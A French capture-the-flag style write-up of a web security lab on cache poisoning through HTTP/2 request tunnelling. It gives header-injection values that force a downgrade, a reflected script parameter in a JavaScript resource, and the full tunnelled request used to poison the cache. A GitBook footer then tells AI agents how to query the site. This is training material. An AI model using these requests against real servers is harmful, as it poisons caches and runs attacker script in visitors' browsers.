> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# Empoisonnement du cache Web via tunneling de requêtes HTTP/2

### Empoisonnement du cache web via la tunnellisation de requêtes HTTP/2

Ce lab est vulnérable au request smuggling, car le serveur frontal rétrograde les requêtes HTTP/2 en HTTP/1.1 et ne nettoie pas correctement certains en-têtes entrants. / L'objectif est d'empoisonner le cache afin que, lorsque la victime visite la page d'accueil, son navigateur exécute `alert(1)`. / Un utilisateur victime accède automatiquement à la page toutes les 15 secondes.

Le serveur frontal ne réutilise pas les connexions vers le back-end. Les attaques de smuggling classiques ne fonctionnent donc pas, mais la tunnellisation de requêtes reste utilisable.

Il existe un mécanisme de cache sur la page d'accueil.

<figure><img src="/files/e49e7314da1c3b5e6cf50dd71101a017d733b38b" alt=""><figcaption></figcaption></figure>

#### Forcer une rétrogradation vers HTTP/1.1

Dans les en-têtes, une interprétation HTTP/1.1 peut être imposée en construisant le type suivant :

{% code title="Valeur" %}

```http
/post HTTP/1.1
Test :
```

{% endcode %}

Bien que cela génère une erreur indiquant que le `Test` en-tête n'existe pas, cela montre que la requête est réinterprétée par le frontal.

<figure><img src="/files/f36d780e975e3ac17bb6c5abbf708f7219d334c5" alt=""><figcaption></figcaption></figure>

#### Injection dans une ressource statique

En ciblant le fichier JavaScript du lab, nous observons que l'ajout d'un paramètre de type script est reflété dans la réponse

```http
/resources/labheader/js?<script>alert(0)</script>
```

La ressource est donc sensible à l'empoisonnement du cache.

<figure><img src="/files/0b0d7fe940b2add1092e10cef51905259aece78c" alt=""><figcaption></figcaption></figure>

#### Construction de la requête tunnellisée

Envoyez ensuite une requête supplémentaire en encapsulant une nouvelle requête HTTP/1.1 dans le corps :

```http
/ HTTP/1.1
Test : testing

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

Cette charge est réinterprétée par le serveur à la suite de la tunnellisation. / Le contenu injecté est réécrit dans la réponse de la ressource JavaScript, ce qui vous permet d'empoisonner le cache.

Lorsque la victime revisite la page d'accueil, son navigateur charge cette version empoisonnée et exécute `alert(1)`.

<figure><img src="/files/05fb49f6fda8b14cf67df28b987993e795ba0a93" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
